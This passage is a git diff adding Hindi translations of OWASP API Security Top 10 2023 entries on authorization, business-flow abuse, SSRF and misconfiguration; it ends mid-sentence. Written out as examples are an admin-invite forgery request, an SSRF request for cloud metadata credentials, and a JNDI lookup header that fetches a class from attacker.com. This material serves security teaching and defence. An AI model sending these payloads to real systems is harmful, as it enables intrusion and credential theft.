द्वारा कोई ऑपरेशन कितनी बार चलाया जा सकता है, उसे सीमित या थ्रॉटल करें (जैसे, OTP सत्यापित करना, या एक बार के URL पर गए बिना पासवर्ड रिकवरी का अनुरोध करना)। +* क्वेरी स्ट्रिंग और अनुरोध बॉडी पैरामीटर के लिए उचित सर्वर-साइड सत्यापन + जोड़ें, विशेष रूप से उस पैरामीटर के लिए जो प्रतिक्रिया में लौटाए जाने वाले + रिकॉर्ड की संख्या नियंत्रित करता है। +* सभी सेवा प्रदाताओं/API इंटीग्रेशन के लिए व्यय सीमाएँ कॉन्फ़िगर करें। जब + व्यय सीमाएँ सेट करना संभव न हो, तो बिलिंग अलर्ट कॉन्फ़िगर किए जाने चाहिए। + +## संदर्भ + +### OWASP + +* ["उपलब्धता" - वेब सर्विस सुरक्षा चीट शीट ("Availability" - Web Service Security Cheat Sheet)][5] +* ["DoS रोकथाम" - GraphQL चीट शीट ("DoS Prevention" - GraphQL Cheat Sheet)][6] +* ["बैचिंग हमलों का शमन" - GraphQL चीट शीट ("Mitigating Batching Attacks" - GraphQL Cheat Sheet)][7] + +### बाहरी + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "रेट लिमिटिंग (Throttling)" - [माइक्रोसर्विसेज़-आधारित एप्लिकेशन सिस्टम के + लिए सुरक्षा रणनीतियाँ (Security Strategies for Microservices-based + Application Systems)][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/hi/0xa5-broken-function-level-authorization.md b/editions/2023/hi/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..c994c4d5c --- /dev/null +++ b/editions/2023/hi/0xa5-broken-function-level-authorization.md @@ -0,0 +1,90 @@ +# API5:2023 ब्रोकन फ़ंक्शन लेवल ऑथराइज़ेशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **सामान्य** : पहचान क्षमता **आसान** | तकनीकी **गंभीर** : व्यवसाय-विशिष्ट | +| शोषण के लिए हमलावर को किसी ऐसे API एंडपॉइंट पर वैध API कॉल भेजनी होती है जिस तक उसकी पहुँच नहीं होनी चाहिए—चाहे वह अनाम उपयोगकर्ता के रूप में हो या सामान्य, गैर-विशेषाधिकृत उपयोगकर्ता के रूप में। उजागर एंडपॉइंट आसानी से शोषित हो जाएंगे। | किसी फ़ंक्शन या संसाधन के लिए प्राधिकरण जाँचें आमतौर पर कॉन्फ़िगरेशन या कोड स्तर पर प्रबंधित की जाती हैं। उचित जाँचें लागू करना एक उलझन भरा काम हो सकता है, क्योंकि आधुनिक एप्लिकेशन में कई प्रकार की भूमिकाएँ, समूह और जटिल उपयोगकर्ता पदानुक्रम (जैसे उप-उपयोगकर्ता, या एक से अधिक भूमिका वाले उपयोगकर्ता) हो सकते हैं। APIs में ये खामियाँ खोजना आसान होता है, क्योंकि APIs अधिक संरचित होती हैं और विभिन्न फ़ंक्शन तक पहुँच अधिक अनुमानित होती है। | ऐसी खामियाँ हमलावरों को अनधिकृत कार्यक्षमता तक पहुँचने देती हैं। प्रशासनिक फ़ंक्शन इस प्रकार के हमले के प्रमुख लक्ष्य होते हैं और इससे डेटा प्रकटीकरण, डेटा हानि, या डेटा में खराबी हो सकती है। अंततः, इससे सेवा में बाधा आ सकती है। | + +## क्या API भेद्य है? + +ब्रोकन फ़ंक्शन लेवल ऑथराइज़ेशन की समस्याएँ खोजने का सबसे अच्छा तरीका है +प्राधिकरण तंत्र का गहन विश्लेषण करना, जिसमें उपयोगकर्ता पदानुक्रम, एप्लिकेशन +में विभिन्न भूमिकाओं या समूहों को ध्यान में रखते हुए निम्नलिखित प्रश्न पूछे +जाएँ: + +* क्या एक सामान्य उपयोगकर्ता प्रशासनिक एंडपॉइंट तक पहुँच सकता है? +* क्या कोई उपयोगकर्ता केवल HTTP मेथड बदलकर (जैसे `GET` से `DELETE`) ऐसी + संवेदनशील कार्रवाइयाँ (जैसे, बनाना, संशोधित करना, या मिटाना) कर सकता है + जिनकी उसे अनुमति नहीं होनी चाहिए? +* क्या समूह X का कोई उपयोगकर्ता केवल एंडपॉइंट URL और पैरामीटर का अनुमान + लगाकर (जैसे, `/api/v1/users/export_all`) ऐसे फ़ंक्शन तक पहुँच सकता है जो + केवल समूह Y के उपयोगकर्ताओं के लिए उजागर होना चाहिए? + +यह न मानें कि कोई API एंडपॉइंट केवल URL पाथ के आधार पर सामान्य है या +प्रशासनिक। + +हालाँकि डेवलपर अधिकांश प्रशासनिक एंडपॉइंट किसी विशिष्ट पाथ—जैसे `/api/admins`—के अंतर्गत रखना पसंद करते हैं, फिर भी ये एंडपॉइंट अक्सर सामान्य एंडपॉइंट के साथ-साथ दूसरे पाथों—जैसे `/api/users`—पर भी मिल जाते हैं। + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +केवल आमंत्रित उपयोगकर्ताओं को जोड़ने वाले एक एप्लिकेशन की पंजीकरण प्रक्रिया के दौरान, मोबाइल एप्लिकेशन `GET /api/invites/{invite_guid}` पर एक API कॉल भेजता है। प्रतिक्रिया में एक JSON आता है जिसमें आमंत्रण का विवरण होता है—जैसे उपयोगकर्ता की भूमिका और ईमेल। + +एक हमलावर अनुरोध को डुप्लिकेट करता है और HTTP मेथड तथा एंडपॉइंट को +`POST /api/invites/new` में बदल देता है। इस एंडपॉइंट तक केवल एडमिन कंसोल +का उपयोग करने वाले प्रशासकों की ही पहुँच होनी चाहिए। एंडपॉइंट फ़ंक्शन लेवल +प्राधिकरण जाँचें लागू नहीं करता। + +हमलावर इस समस्या का फ़ायदा उठाते हुए एडमिन विशेषाधिकार के साथ एक नया आमंत्रण +भेजता है: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +बाद में, हमलावर इसी छल-पूर्ण आमंत्रण से अपने लिए एक एडमिन खाता बना लेता है और सिस्टम तक पूर्ण पहुँच हासिल कर लेता है। + +### परिदृश्य #2 + +एक API में एक ऐसा एंडपॉइंट है जो केवल प्रशासकों के लिए उजागर होना चाहिए— +`GET /api/admin/v1/users/all`। यह एंडपॉइंट एप्लिकेशन के सभी उपयोगकर्ताओं का +विवरण लौटाता है और फ़ंक्शन लेवल प्राधिकरण जाँचें लागू नहीं करता। API की संरचना समझ चुका एक हमलावर अनुमान लगाकर इस एंडपॉइंट तक पहुँचने में सफल हो जाता है, जिससे एप्लिकेशन के सभी उपयोगकर्ताओं का संवेदनशील विवरण उजागर हो जाता है। + +## रोकथाम कैसे करें + +आपके एप्लिकेशन में एक सुसंगत और आसानी से विश्लेषण योग्य प्राधिकरण मॉड्यूल +होना चाहिए जिसे आपके सभी व्यावसायिक फ़ंक्शन कॉल करें। अक्सर +ऐसी सुरक्षा एप्लिकेशन कोड से बाहर के एक या अधिक घटकों द्वारा प्रदान की +जाती है। + +* प्रवर्तन तंत्र (enforcement mechanism) को डिफ़ॉल्ट रूप से सभी पहुँच अस्वीकार करनी चाहिए—हर फ़ंक्शन तक पहुँच के लिए विशिष्ट भूमिकाओं को स्पष्ट अनुमति देना ज़रूरी हो। +* फ़ंक्शन लेवल प्राधिकरण की खामियों के लिए अपने API एंडपॉइंट की समीक्षा करें, + एप्लिकेशन के व्यावसायिक तर्क और समूह पदानुक्रम को ध्यान में रखते हुए। +* सुनिश्चित करें कि आपके सभी प्रशासनिक नियंत्रक किसी एक प्रशासनिक abstract + नियंत्रक से इनहेरिट करें जो उपयोगकर्ता के समूह/भूमिका के आधार पर प्राधिकरण + जाँचें लागू करे। +* सुनिश्चित करें कि किसी सामान्य नियंत्रक के भीतर प्रशासनिक फ़ंक्शन + उपयोगकर्ता के समूह और भूमिका के आधार पर प्राधिकरण जाँचें लागू करें। + +## संदर्भ + +### OWASP + +* [फ़ोर्स्ड ब्राउज़िंग (Forced Browsing)][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [अभिगम नियंत्रण (Access Control)][3] + +### बाहरी + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/hi/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/hi/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..aad37edf3 --- /dev/null +++ b/editions/2023/hi/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,101 @@ +# API6:2023 अनरेस्ट्रिक्टेड एक्सेस टू सेंसिटिव बिज़नेस फ़्लोज़ + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **व्यापक** : पहचान क्षमता **औसत** | तकनीकी **मध्यम** : व्यवसाय-विशिष्ट | +| शोषण में आमतौर पर API द्वारा समर्थित व्यावसायिक मॉडल को समझना, संवेदनशील व्यावसायिक प्रवाहों (business flows) की पहचान करना, और इन प्रवाहों तक पहुँच को स्वचालित करना शामिल है, जिससे व्यवसाय को नुकसान पहुँचता है। | API की समग्र दृष्टि की कमी—जो व्यावसायिक आवश्यकताओं को पूरी तरह समर्थन दे सके—इस समस्या की व्यापकता में योगदान करती है। हमलावर मैन्युअल रूप से यह पहचानते हैं कि लक्षित कार्यप्रवाह में कौन-से संसाधन (जैसे, एंडपॉइंट) शामिल हैं और वे एक साथ कैसे काम करते हैं। यदि शमन तंत्र पहले से मौजूद हैं, तो हमलावरों को उन्हें दरकिनार करने का तरीका खोजना होता है। | सामान्यतः तकनीकी प्रभाव की उम्मीद नहीं होती। शोषण से व्यवसाय को अलग-अलग तरीकों से नुकसान हो सकता है, उदाहरण के लिए: वैध उपयोगकर्ताओं को किसी उत्पाद को खरीदने से रोकना, या किसी गेम की आंतरिक अर्थव्यवस्था में मुद्रास्फीति पैदा करना। | + +## क्या API भेद्य है? + +कोई API एंडपॉइंट बनाते समय, यह समझना ज़रूरी है कि वह किस व्यावसायिक प्रवाह +को उजागर करता है। कुछ व्यावसायिक प्रवाह दूसरों की तुलना में अधिक संवेदनशील होते हैं—उन तक अत्यधिक पहुँच व्यवसाय को सीधे नुकसान पहुँचा सकती है। + +संवेदनशील व्यावसायिक प्रवाहों के सामान्य उदाहरण और उनसे जुड़ी अत्यधिक पहुँच +का जोखिम: + +* उत्पाद खरीदने का प्रवाह—एक हमलावर एक साथ अधिक माँग वाली वस्तु का पूरा स्टॉक + खरीद सकता है और उसे अधिक कीमत पर बेच सकता है (स्केल्पिंग) +* टिप्पणी/पोस्ट बनाने का प्रवाह—एक हमलावर सिस्टम में स्पैम कर सकता है +* आरक्षण करने का प्रवाह—एक हमलावर सभी उपलब्ध समय स्लॉट बुक कर सकता है और + अन्य उपयोगकर्ताओं को सिस्टम का उपयोग करने से रोक सकता है + +अत्यधिक पहुँच का जोखिम उद्योगों और व्यवसायों के बीच भिन्न हो सकता है। +उदाहरण के लिए—किसी स्क्रिप्ट द्वारा पोस्ट बनाना एक सोशल नेटवर्क के लिए स्पैम +का जोखिम माना जा सकता है, जबकि दूसरा सोशल नेटवर्क इसे प्रोत्साहित कर सकता है। + +कोई API एंडपॉइंट भेद्य है यदि वह किसी संवेदनशील व्यावसायिक प्रवाह को उचित +प्रतिबंध के बिना उजागर करता है। + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक प्रौद्योगिकी कंपनी घोषणा करती है कि वह थैंक्सगिविंग पर एक नया गेमिंग +कंसोल जारी करने वाली है। उत्पाद की माँग बहुत अधिक है और स्टॉक सीमित है। एक +हमलावर नया उत्पाद स्वचालित रूप से खरीदने और लेनदेन पूरा करने के लिए कोड +लिखता है। + +रिलीज़ के दिन, हमलावर अलग-अलग IP पतों और स्थानों पर वितरित कोड चलाता है। +API उचित सुरक्षा लागू नहीं करता और हमलावर को अन्य वैध उपयोगकर्ताओं से पहले +अधिकांश स्टॉक खरीदने देता है। + +बाद में, हमलावर उत्पाद को किसी दूसरे प्लेटफ़ॉर्म पर बहुत अधिक कीमत पर बेचता है। + +### परिदृश्य #2 + +एक एयरलाइन कंपनी बिना रद्दीकरण शुल्क के ऑनलाइन टिकट खरीदने की सुविधा देती है। +दुर्भावनापूर्ण इरादे वाला एक उपयोगकर्ता किसी मनचाही उड़ान की 90% सीटें बुक +कर लेता है। + +उड़ान से कुछ दिन पहले, दुर्भावनापूर्ण उपयोगकर्ता एक साथ सभी टिकट रद्द कर +देता है, जिससे एयरलाइन को उड़ान भरने के लिए टिकट की कीमतें कम करनी पड़ती हैं। + +इसी मौके पर वह उपयोगकर्ता अपने लिए एक टिकट खरीदती है—मूल कीमत से काफ़ी सस्ते में। + +### परिदृश्य #3 + +एक राइड-शेयरिंग ऐप एक रेफ़रल प्रोग्राम चलाता है—उपयोगकर्ता अपने दोस्तों को आमंत्रित कर सकते हैं और ऐप से जुड़ने वाले प्रत्येक दोस्त के लिए क्रेडिट पा सकते हैं। इस क्रेडिट को बाद में राइड बुक करने के लिए पैसे की तरह इस्तेमाल किया जा सकता है। + +एक हमलावर पंजीकरण प्रक्रिया को स्वचालित करने के लिए एक स्क्रिप्ट लिखकर इस +प्रवाह का फ़ायदा उठाता है, जिसमें प्रत्येक नया उपयोगकर्ता हमलावर के वॉलेट में +क्रेडिट जोड़ता है। + +हमलावर बाद में मुफ़्त राइड का आनंद ले सकता है या अत्यधिक क्रेडिट वाले खातों +को नकद में बेच सकता है। + +## रोकथाम कैसे करें + +शमन की योजना दो स्तरों पर की जानी चाहिए: + +* व्यवसाय—उन व्यावसायिक प्रवाहों की पहचान करें जो अत्यधिक उपयोग किए जाने + पर व्यवसाय को नुकसान पहुँचा सकते हैं। +* इंजीनियरिंग—व्यावसायिक जोखिम का शमन करने के लिए सही सुरक्षा तंत्र चुनें। + + कुछ सुरक्षा तंत्र अधिक सरल हैं जबकि कुछ को लागू करना अधिक कठिन है। + स्वचालित खतरों को धीमा करने के लिए निम्नलिखित विधियों का उपयोग किया + जाता है: + + * डिवाइस फ़िंगरप्रिंटिंग: अप्रत्याशित क्लाइंट डिवाइस (जैसे, headless + ब्राउज़र) को सेवा से वंचित करने से खतरे के कारकों को अधिक परिष्कृत + समाधान अपनाने पड़ते हैं, जो उनके लिए अधिक महंगे होते हैं + * मानव पहचान: captcha या अधिक उन्नत बायोमेट्रिक समाधान (जैसे, टाइपिंग + पैटर्न) का उपयोग करना + * गैर-मानवीय पैटर्न: गैर-मानवीय पैटर्न पहचानने के लिए उपयोगकर्ता प्रवाह + का विश्लेषण करें (जैसे, उपयोगकर्ता ने एक सेकंड से कम में "add to cart" + और "complete purchase" फ़ंक्शन तक पहुँच बनाई) + * Tor एग्ज़िट नोड और प्रसिद्ध प्रॉक्सी के IP पतों को ब्लॉक करने पर + विचार करें + + उन APIs तक पहुँच सुरक्षित और सीमित करें जो सीधे मशीनों द्वारा उपयोग की + जाती हैं (जैसे डेवलपर और B2B APIs)। ये हमलावरों के लिए आसान लक्ष्य होती + हैं, क्योंकि इनमें अक्सर सभी आवश्यक सुरक्षा तंत्र लागू नहीं होते। + +## संदर्भ + +### OWASP + +* [OWASP वेब एप्लिकेशन के लिए स्वचालित खतरे (OWASP Automated Threats to Web Applications)][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/hi/0xa7-server-side-request-forgery.md b/editions/2023/hi/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..5cea8f240 --- /dev/null +++ b/editions/2023/hi/0xa7-server-side-request-forgery.md @@ -0,0 +1,157 @@ +# API7:2023 सर्वर साइड रिक्वेस्ट फ़ोर्जरी + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **सामान्य** : पहचान क्षमता **आसान** | तकनीकी **मध्यम** : व्यवसाय-विशिष्ट | +| शोषण के लिए हमलावर को किसी ऐसे API एंडपॉइंट की तलाश होती है जो क्लाइंट द्वारा दिए गए URI तक पहुँचता है। सामान्यतः, बेसिक SSRF (जब प्रतिक्रिया हमलावर को वापस मिलती है) का शोषण Blind SSRF की तुलना में आसान होता है, जिसमें हमलावर को यह पता नहीं चलता कि हमला सफल रहा या नहीं। | एप्लिकेशन विकास में आधुनिक अवधारणाएँ डेवलपर को क्लाइंट द्वारा दिए गए URI तक पहुँचने के लिए प्रोत्साहित करती हैं। ऐसे URI का सत्यापन न होना या अनुचित सत्यापन आम समस्याएँ हैं। समस्या का पता लगाने के लिए नियमित API अनुरोध और प्रतिक्रिया विश्लेषण आवश्यक होगा। जब प्रतिक्रिया वापस नहीं मिलती (Blind SSRF), तो भेद्यता का पता लगाने के लिए अधिक प्रयास और रचनात्मकता की ज़रूरत होती है। | सफल शोषण से आंतरिक सेवाओं की पहचान (जैसे, पोर्ट स्कैनिंग), जानकारी का खुलासा, या फ़ायरवॉल सहित अन्य सुरक्षा तंत्रों को दरकिनार करना संभव हो सकता है। कुछ मामलों में, इससे DoS भी हो सकता है या सर्वर को दुर्भावनापूर्ण गतिविधियाँ छिपाने की प्रॉक्सी की तरह इस्तेमाल किया जा सकता है। | + +## क्या API भेद्य है? + +सर्वर-साइड रिक्वेस्ट फ़ोर्जरी (SSRF) की खामियाँ तब होती हैं जब कोई API +उपयोगकर्ता द्वारा दिए गए URL को सत्यापित किए बिना किसी दूरस्थ (remote) +संसाधन को fetch करता है। इससे हमलावर एप्लिकेशन को किसी अप्रत्याशित गंतव्य पर एक गढ़ा हुआ अनुरोध भेजने पर मजबूर कर सकता है—भले ही वह फ़ायरवॉल या VPN से सुरक्षित हो। + +एप्लिकेशन विकास में आधुनिक अवधारणाएँ SSRF को अधिक सामान्य और अधिक खतरनाक +बनाती हैं। + +अधिक सामान्य—निम्नलिखित अवधारणाएँ डेवलपर को उपयोगकर्ता इनपुट के आधार पर +बाहरी संसाधन तक पहुँचने के लिए प्रोत्साहित करती हैं: Webhooks, URL से फ़ाइल +fetch करना, कस्टम SSO, और URL प्रीव्यू। + +अधिक खतरनाक—क्लाउड प्रदाता, Kubernetes और Docker जैसी आधुनिक तकनीकें HTTP पर +अनुमानित, जाने-माने पाथों पर प्रबंधन और नियंत्रण चैनल उजागर करती हैं। ये +चैनल SSRF हमले का आसान लक्ष्य हैं। + +आधुनिक एप्लिकेशन की परस्पर जुड़ी प्रकृति के कारण अपने एप्लिकेशन से बाहर +जाने वाले ट्रैफ़िक को सीमित करना भी अधिक चुनौतीपूर्ण है। + +SSRF जोखिम को हमेशा पूरी तरह समाप्त नहीं किया जा सकता। सुरक्षा तंत्र चुनते +समय, व्यावसायिक जोखिमों और ज़रूरतों पर विचार करना ज़रूरी है। + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक सोशल नेटवर्क उपयोगकर्ताओं को प्रोफ़ाइल तस्वीरें अपलोड करने देता है। +उपयोगकर्ता या तो अपनी मशीन से इमेज फ़ाइल अपलोड करना चुन सकता है, या इमेज का +URL दे सकता है। दूसरा विकल्प चुनने पर निम्नलिखित API कॉल शुरू होती है: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +एक हमलावर एक दुर्भावनापूर्ण URL भेज सकता है और API एंडपॉइंट का उपयोग करके +आंतरिक नेटवर्क के भीतर पोर्ट स्कैनिंग शुरू कर सकता है। + +``` +{ + "picture_url": "localhost:8080" +} +``` + +प्रतिक्रिया के समय के आधार पर, हमलावर यह पता लगा सकता है कि पोर्ट खुला है +या नहीं। + +### परिदृश्य #2 + +एक सुरक्षा उत्पाद नेटवर्क में असामान्यताएँ पाए जाने पर इवेंट बनाता है। कुछ +टीमें इन इवेंट को किसी व्यापक, अधिक सामान्य निगरानी प्रणाली—जैसे SIEM +(Security Information and Event Management)—में देखना पसंद करती हैं। इस +उद्देश्य से, उत्पाद webhooks का उपयोग करके अन्य सिस्टम के साथ इंटीग्रेशन +प्रदान करता है। + +नया webhook बनाते समय, SIEM API के URL के साथ एक GraphQL म्यूटेशन भेजी जाती है। + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +बनाने की प्रक्रिया के दौरान, API बैक-एंड दिए गए webhook URL पर एक परीक्षण +अनुरोध भेजता है और उपयोगकर्ता को प्रतिक्रिया दिखाता है। + +एक हमलावर इस प्रवाह का फ़ायदा उठा सकता है और API को कोई संवेदनशील संसाधन +अनुरोध करने के लिए मजबूर कर सकता है, जैसे कि एक आंतरिक क्लाउड मेटाडेटा +सेवा जो क्रेडेंशियल उजागर करती है: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +चूँकि एप्लिकेशन परीक्षण अनुरोध की प्रतिक्रिया दिखाता है, इसलिए हमलावर क्लाउड एनवायरनमेंट के क्रेडेंशियल देख सकता है। + +## रोकथाम कैसे करें + +* अपने नेटवर्क में संसाधन fetch करने के तंत्र को अलग (isolate) करें: आमतौर पर ये सुविधाएँ बाहरी संसाधनों को fetch करने के लिए होती हैं, न कि आंतरिक संसाधनों के लिए। +* जब भी संभव हो, अनुमति सूचियाँ (allow lists) उपयोग करें: + * विश्वसनीय बाहरी स्रोत (Remote origins) जहाँ से उपयोगकर्ता संसाधन डाउनलोड कर सकते हैं (जैसे, Google Drive, Gravatar, आदि) + * URL स्कीम और पोर्ट + * किसी दी गई कार्यक्षमता के लिए स्वीकार्य मीडिया प्रकार +* HTTP रीडायरेक्शन अक्षम करें। +* URL पार्सिंग की असंगतताओं से बचने के लिए किसी अच्छी तरह परीक्षित और नियमित रूप से अपडेट होने वाले URL पार्सर का उपयोग करें। +* क्लाइंट द्वारा दिए गए सभी इनपुट डेटा को सत्यापित और साफ़ (sanitize) करें। +* क्लाइंट को कच्ची (raw) प्रतिक्रियाएँ न भेजें। + +## संदर्भ + +### OWASP + +* [सर्वर साइड रिक्वेस्ट फ़ोर्जरी (Server Side Request Forgery)][1] +* [सर्वर-साइड रिक्वेस्ट फ़ोर्जरी रोकथाम चीट शीट (Server-Side Request Forgery Prevention Cheat Sheet)][2] + +### बाहरी + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/hi/0xa8-security-misconfiguration.md b/editions/2023/hi/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..faea18502 --- /dev/null +++ b/editions/2023/hi/0xa8-security-misconfiguration.md @@ -0,0 +1,136 @@ +# API8:2023 सिक्योरिटी मिसकॉन्फ़िगरेशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **व्यापक** : पहचान क्षमता **आसान** | तकनीकी **गंभीर** : व्यवसाय-विशिष्ट | +| हमलावर अक्सर बिना पैच की गई खामियाँ, सामान्य एंडपॉइंट, असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन से चलने वाली सेवाएँ, या असुरक्षित फ़ाइलें और डायरेक्टरी खोजने का प्रयास करते हैं, ताकि सिस्टम तक अनधिकृत पहुँच या उसकी जानकारी प्राप्त कर सकें। इनमें से अधिकतर सार्वजनिक ज्ञान है और शोषण के उपकरण उपलब्ध हो सकते हैं। | सुरक्षा ग़लत कॉन्फ़िगरेशन API स्टैक के किसी भी स्तर पर—नेटवर्क स्तर से लेकर एप्लिकेशन स्तर तक—हो सकती है। अनावश्यक सेवाओं या पुराने विकल्पों जैसी ग़लत कॉन्फ़िगरेशन का पता लगाने और उनका शोषण करने के लिए स्वचालित उपकरण उपलब्ध हैं। | सुरक्षा ग़लत कॉन्फ़िगरेशन न केवल संवेदनशील उपयोगकर्ता डेटा उजागर करती है, बल्कि सिस्टम विवरण भी प्रकाशित करती है, जो पूर्ण सर्वर अधिग्रहण की ओर ले जा सकते हैं। | + +## क्या API भेद्य है? + +यदि निम्नलिखित में से कोई स्थिति हो तो API भेद्य हो सकती है: + +* API स्टैक के किसी भी हिस्से में उचित सुरक्षा कठोरीकरण (security hardening) + अनुपस्थित है, या क्लाउड सेवाओं पर अनुमतियाँ अनुचित रूप से कॉन्फ़िगर की + गई हैं +* नवीनतम सुरक्षा पैच अनुपस्थित हैं, या सिस्टम पुराने हैं +* अनावश्यक सुविधाएँ सक्षम हैं (जैसे, HTTP वर्ब्स, लॉगिंग सुविधाएँ) +* HTTP सर्वर चेन में सर्वरों द्वारा आने वाले अनुरोधों को संसाधित करने के + तरीके में विसंगतियाँ हैं +* ट्रांसपोर्ट लेयर सिक्योरिटी (Transport Layer Security — TLS) अनुपस्थित है +* सुरक्षा या कैश नियंत्रण निर्देश क्लाइंट को नहीं भेजे जाते +* क्रॉस-ओरिजिन रिसोर्स शेयरिंग (Cross-Origin Resource Sharing — CORS) नीति + अनुपस्थित है या अनुचित रूप से सेट है +* त्रुटि संदेशों में स्टैक ट्रेस शामिल हैं, या अन्य संवेदनशील जानकारी + उजागर होती है + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक API बैक-एंड सर्वर एक लोकप्रिय थर्ड-पार्टी ओपन-सोर्स लॉगिंग उपयोगिता +द्वारा लिखित एक्सेस लॉग बनाए रखता है, जो प्लेसहोल्डर विस्तार और JNDI +(Java Naming and Directory Interface) लुकअप का समर्थन करती है—दोनों +डिफ़ॉल्ट रूप से सक्षम हैं। प्रत्येक अनुरोध के लिए, लॉग फ़ाइल में निम्नलिखित +पैटर्न से एक नई प्रविष्टि लिखी जाती है: +` / - `। + +एक हमलावर निम्नलिखित API अनुरोध भेजता है, जो एक्सेस लॉग फ़ाइल में लिखा +जाता है: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +लॉगिंग उपयोगिता की असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन और नेटवर्क की अत्यधिक +उदार आउटबाउंड नीति के कारण, एक्सेस लॉग में प्रविष्टि लिखते समय +`X-Api-Version` हेडर के मान का विस्तार करते हुए, लॉगिंग उपयोगिता हमलावर के +दूरस्थ-नियंत्रित सर्वर से `Malicious.class` ऑब्जेक्ट pull और execute कर लेगी। + +### परिदृश्य #2 + +एक सोशल नेटवर्क वेबसाइट एक "Direct Message" सुविधा प्रदान करती है जो +उपयोगकर्ताओं को निजी बातचीत बनाए रखने देती है। किसी विशेष बातचीत के नए +संदेश प्राप्त करने के लिए, वेबसाइट निम्नलिखित API अनुरोध जारी करती है +(उपयोगकर्ता इंटरेक्शन आवश्यक नहीं है): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +चूँकि API प्रतिक्रिया में `Cache-Control` HTTP प्रतिक्रिया हेडर शामिल नहीं +है, निजी बातचीतें वेब ब्राउज़र द्वारा कैश हो जाती हैं, जिससे हमलावरों को फ़ाइलसिस्टम की ब्राउज़र कैश फ़ाइलों से इन बातचीतों तक +पहुँचने का मौका मिल जाता है। + +## रोकथाम कैसे करें + +API जीवनचक्र में शामिल होना चाहिए: + +* एक दोहराने योग्य कठोरीकरण प्रक्रिया जो उचित रूप से सुरक्षित परिवेश की + त्वरित और आसान तैनाती सुनिश्चित करे +* पूरे API स्टैक में कॉन्फ़िगरेशन की समीक्षा और अद्यतन करने का कार्य। + समीक्षा में शामिल हों: ऑर्केस्ट्रेशन फ़ाइलें, API घटक, और क्लाउड सेवाएँ + (जैसे, S3 बकेट अनुमतियाँ) +* सभी परिवेशों में कॉन्फ़िगरेशन और सेटिंग की प्रभावशीलता का निरंतर मूल्यांकन + करने की एक स्वचालित प्रक्रिया + +इसके अतिरिक्त: + +* सुनिश्चित करें कि क्लाइंट से API सर्वर और किसी भी 